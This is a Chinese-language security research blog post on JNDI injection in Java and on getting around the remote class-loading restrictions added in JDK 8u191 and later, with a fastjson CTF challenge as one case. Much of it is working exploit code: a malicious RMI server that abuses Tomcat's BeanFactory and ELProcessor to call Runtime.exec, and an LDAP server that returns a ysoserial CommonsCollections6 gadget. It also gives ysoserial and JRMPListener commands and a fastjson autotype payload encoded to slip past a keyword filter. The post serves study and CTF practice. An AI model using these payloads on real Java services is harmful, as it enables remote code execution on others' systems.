JNDI注入高版本jdk绕过学习


在之前的复现分析过程中用到的jdk版本都是较低的版本,这篇文章主要研究不同jdk版本对JNDI注入不同姿势的影响,以及绕过姿势。关于JNDI注入和RMI的基础知识可以参考这两篇文章学习:

RMI Remote Object Payload (限制较多,不常使用)

RMI + JNDI Reference Payload

这个方法就是我们常用的加载远程class进行JNDI注入的操作,攻击者通过RMI服务返回一个JNDI Naming Reference,受害者解码Reference时会去我们指定的Codebase远程地址加载Factory类,但是原理上并非使用RMI Class Loading机制的,因此不受 java.rmi.server.useCodebaseOnly系统属性的限制,相对来说更加通用。

但是在JDK 6u132,JDK 7u122,JDK 8u113 中Java提升了JNDI 限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性。系统属性com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。如果需要开启RMI Registry或者COS Naming Service Provider的远程类加载功能,需要将前面说的两个属性值设置为true。

Changelog:

案例参考笔记:深入理解RMI&JRMP&JNDI

触发过程分析

低版本8u73测试

产生JNDI注入的原因是客户端lookup方法可控,我们先在Registry中注册恶意的Reference对象,加载远程类对象。
-w1162

将Registry的url地址传入InitialContext.lookup(URL)方法中,这里用低版本8u73下断点调试:
/com/sun/jndi/toolkit/url/GenericURLContext.class
-w1278
解析URL,将Exploit类传入,lookup方法调用decodeObject方法:/com/sun/jndi/rmi/registry/RegistryContext.class
-w1330
又进入到NamingManager.getObjectInstance方法:
-w1325
在进入getObjectInstance方法后又在319行调用getObjectFactoryFromReference方法,先从本地的类加载器去classpath加载目标类,如果没有,则调用loadClass(factoryName, codebase)去远程加载我们构造的特定类,并将其实例化:
-w1391

-w1335

整个利用流程:

  • 目标代码中调用了InitialContext.lookup(URI),且URI为用户可控;
  • 攻击者控制URI参数为恶意的RMI服务地址,如:rmi://hacker_rmi_server/classname;
  • 击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类;
  • 目标在进行lookup()操作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()获取外部远程对象实例;
  • 攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到RCE的效果;

高版本8u201测试

再来看看高版本8u201,在RegistryContext.class#decodeObject函数中,增加了trustURLCodebase的判断,且默认为false
-w1243

多个判断是逻辑与的关系,有一个不成立则可通过,这里可以利用var8.getFactoryClassLocation()null进入NamingManager.getObjectInstance函数:
-w1448
接着进入getObjectFactoryFromReference函数,但是在加载远程类之前又进行了一次null判断,加载远程类:
-w1200

所以这里的利用条件就变成了只能用helper.loadClass(factoryName)加载目标机器中classpath中的类。从下图NamingManager.java的代码中可以知道,该类要实现 javax.naming.spi.ObjectFactory接口,且存在getObjectInstance方法:
-w1364

总结一下高版本利用条件即:

  • 利用目标机器classpath
  • 实现了javax.naming.spi.ObjectFactory接口
  • 存在getObjectInstance方法

在下文中会介绍详细案例利用细节。

LDAP + JNDI Reference Payload

除了RMI服务之外,JNDI还可以对接LDAP服务,LDAP也能返回JNDI Reference对象,利用过程与上面RMI Reference基本一致,只是lookup()中的URL为一个LDAP地址:ldap://xxx/xxx,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。并且LDAP服务的Reference远程加载Factory类不受上一点中 com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。
不过在2018年10月,Java最终也修复了这个利用点,对LDAP Reference远程工厂类的加载增加了限制,在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,还对应的分配了一个漏洞编号CVE-2018-3149。

案例参考笔记:深入理解RMI&JRMP&JNDI

这里为了探究具体的修改点,跟进了8u181和8u201两个版本的ldap加载流程,解析codebase的流程不受com.sun.jndi.rmi.object.trustURLCodebase`com.sun.jndi.cosnaming.object.trustURLCodebase属性影响,但在最后加载远程class的函数helper.loadClass(factoryName, codebase)高版本8u201条件添加了trustURLCodebase`(默认为false)的校验,如下图所示:
-w803

-w1449

绕过JDK 8u191+等高版本限制

所以对于Oracle JDK 11.0.1、8u191、7u201、6u211或者更高版本的JDK来说,默认环境下之前这些利用方式都已经失效。然而,我们依然可以进行绕过并完成利用。两种绕过方法如下:

  1. 找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。
  2. 利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。
  3. JRMP:空指针-treasure-Writeup
    这三种方式都依赖受害者本地CLASSPATH中环境,需要利用受害者本地的Gadget进行攻击。

利用本地Class作为Reference Factory绕过高版本限制

在上文中RMI + JNDI Reference Payload部分我们已经介绍了在高版本修复策略,以及绕过的利用条件。在org.apache.naming.factory.BeanFactory中刚好满足条件并且存在被利用的可能,该接口存在于Tomcat依赖包中,使用也是非常广泛。

环境搭建
之前用pom.xml拉tomcat的包复现蜜汁原因失败,后来用的MxSrvs里自带的tomcat依赖复现成功了。
-w1393
为了便于分析去导个源码,找到对应的版本,点下图所示的View All
-w811
-w783
然后去idea里导入就行了

漏洞复现
poc:
Server.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.StringRefAddr;
import org.apache.naming.ResourceRef;

public class Server {

public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
resourceRef.add(new StringRefAddr("forceString", "a=eval"));
resourceRef.add(new StringRefAddr("a", "Runtime.getRuntime().exec(\"open /Applications/Calculator.app/\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("EvalObj", referenceWrapper);
System.out.println("the Server is bind rmi://127.0.0.1:1098/EvalObj");
}
}

Client.java

1
2
3
4
5
6
7
8
9
import javax.naming.*;

public class Client {
public static void main(String[] args) throws Exception {
String uri = "rmi://127.0.0.1:1099/EvalObj";
Context ctx = new InitialContext();
ctx.lookup(uri); // 返回加载的远程对象
}
}

-w1541

漏洞分析
/org/apache/naming/factory/BeanFactory.java 这个类满足上述提到的高版本利用的两个条件:
-w1105
BeanFactory.java#getObjectInstance,从上文RMI + JNDI注入的触发流程分析中可以知道,可控参数为objname
这里限制了传入的对象必须为ResourceRef类,通过反射调用在148行实例化了一个无参对象,意味着beanClass得有一个无参构造函数:
-w1149

接着取出key为forceString的值进行以,分割,拆分=键值对,存入hashMap对象中:
-w1240

其后通过反射执行我们指定的之前构造的方法,并可以传入一个字符串类型的参数:
-w1219

到这里利用过程就结束了,再来跟一下利用限制如何满足,第一个条件是传入的对象必须是属于ResourceRef类,接着调用了ref.getClassName()获取beanClassName,也就是目标类:
-w933
-w582

跟进ResourceRef类,该类也是Reference的子类,在实例化的时候,可以通过构造方法传入目标class:
-w855
通过调用父类的构造方法实现成员变量className的赋值
-w924
-w494

再来BeanFactory.java看一下ref.get("forceString")是如何实现的,我们要如果构造poc控制forceString参数,同样的也是在Reference.java中通过遍历成员变量addrs数组来进行寻找:
-w702

在Reference.java中找到控制addrs元素的办法:
-w689
要求我们传入一个RefAddr类型的addr,在其子类有一个StringRefAddr函数:
-w935
所以可以通过这样的方式来设置属性:

1
new ResourceRef().add(new StringRefAddr("forceString", "xxx"))

在veracode博客中构造的beanClass是javax.el.ELProcessorELProcessor中有个eval(String)方法可以执行EL表达式,javax.el.ELProcessor是Tomcat8中的库,所以仅限Tomcat8及更高版本环境下可以通过该库进行攻击。

-w1598

翻了一些资料还有一些其他的类符合条件可以作为beanClass注入到BeanFactory中实现利用,比如Orange师傅的Jenkins漏洞实现利用,先挖个坑。

利用LDAP返回序列化数据,触发本地Gadget绕过高版本限制

目录是一种分布式数据库,目录服务是由目录数据库和一套访问协议组成的系统。LDAP全称是轻量级目录访问协议(The Lightweight Directory Access Protocol),它提供了一种查询、浏览、搜索和修改互联网目录数据的机制,运行在TCP/IP协议栈之上,基于C/S架构。除了RMI服务之外,JNDI也可以与LDAP目录服务进行交互,Java对象在LDAP目录中也有多种存储形式:

  • Java序列化
  • JNDI Reference
  • Marshalled对象
  • Remote Location (已弃用)
    LDAP可以为存储的Java对象指定多种属性:
  • javaCodeBase
  • objectClass
  • javaFactory
  • javaSerializedData

这里 javaCodebase 属性可以指定远程的URL,这样黑客可以控制反序列化中的class,通过JNDI Reference的方式进行利用。但是高版本JVM对Reference Factory远程加载类进行了安全限制,JVM不会信任LDAP对象反序列化过程中加载的远程类。

此时,攻击者仍然可以利用受害者本地CLASSPATH中存在漏洞的反序列化Gadget达到绕过限制执行命令的目的。LDAP Server除了使用JNDI Reference进行利用之外,还支持直接返回一个对象的序列化数据。如果Java对象的 javaSerializedData 属性值不为空,则客户端的 obj.decodeObject() 方法就会对这个字段的内容进行反序列化。

-w1574

假设客户端存在有漏洞的Apache-Commons-Collections-3.1,ldap服务端返回一个ysoserial生成的Exp:

1
java -jar ysoserial.jar CommonsCollections6 '/Applications/Calculator.app/Contents/MacOS/Calculator'|base64

ldap服务端代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;


public class LdapServer {

private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {

String url = "https://127.0.0.1:80/#Exploit";
int port = 1389;


try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;

public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}

@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}

}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
// Payload1: Return Evil Reference Factory
// e.addAttribute("javaCodeBase", cbstring);
// e.addAttribute("objectClass", "javaNamingReference");
// e.addAttribute("javaFactory", this.codebase.getRef());

//Payload2: Return Evil Serialized Gadget
try {
// java -jar ysoserial.jar CommonsCollections6 '/Applications/Calculator.app/Contents/MacOS/Calculator'|base64
e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYX..."));
} catch (ParseException e1) {
e1.printStackTrace();
}
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

}
}

jdk8u201测试结果:
-w1415

这种绕过方式需要利用一个本地的反序列化利用链,来结合JNDI注入的入口来利用。

利用JRMP触发本地gadget

JRMP(Java Remote Method Protocol),Java远程方法协议,类比于HTTP协议是基于TCP/IP协议,RMI即基于JRMP协议。JRMP规定了RMI通信过程的数据格式等。

空指针公开赛CTF-treasure这题为例,题目源码:treasure
高版本jdk8u201(默认不开远程类加载),fastjson1.2.61,标准的解析json:me/firesun/treasure/controller/SubmitController.java
-w1273
SubmitController.java中开启了autotype
-w669

中间件中LogAspect.java检测type关键字,这里用\x16进制编码绕就行了,在之前的文章Fastjson 反序列化触发流程分析中有分析。
-w1102

接着就是寻找JNDI注入点,全局搜lookup(
-w1269

还是有点问题,搜不了class文件,可以mvn拉下源码全局搜
/org/apache/commons/proxy/provider/remoting/RmiProvider.class中有一处lookup函数调用:
-w1376
参数name利用fastjson解析json数据自动调用setXX方法设置:
-w716
再看看reg变量: RmiProvider.class#getRegistry,也就是rmi的客户端实现

1
2
3
4
5
6
7
8
9
10
11
12
public class RmiProvider implements ObjectProvider {
private String host = "localhost";
private int port = 1099;
//...
private Registry getRegistry() {
try {
return this.clientSocketFactory != null ? LocateRegistry.getRegistry(this.host, this.port, this.clientSocketFactory) : LocateRegistry.getRegistry(this.host, this.port);
} catch (RemoteException var2) {
throw new ObjectProviderException("Unable to locate registry at " + this.host + ":" + this.port + ".", var2);
}
}
//...

构造一个JRMP Server,利用RMI触发,在依赖库里引用了commons-collections3.2,使用ysoserial的commonscollections5:

1
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1088 CommonsCollections5 '/Applications/Calculator.app/Contents/MacOS/Calculator'

submit路由发送:

1
{"@\u0074ype":"org.apache.commons.proxy.provider.remoting.RmiProvider","host":"127.0.0.1","port":"1088","name":"Object"}

-w1032

同样也要求classpath中的类有反序列化漏洞,借助Registry的入口实现命令执行。

小结

文章研究了多个jdk版本的多种jndi注入方式,以及高版本利用限制分析和绕过方式,收获颇为丰富。

参考文章: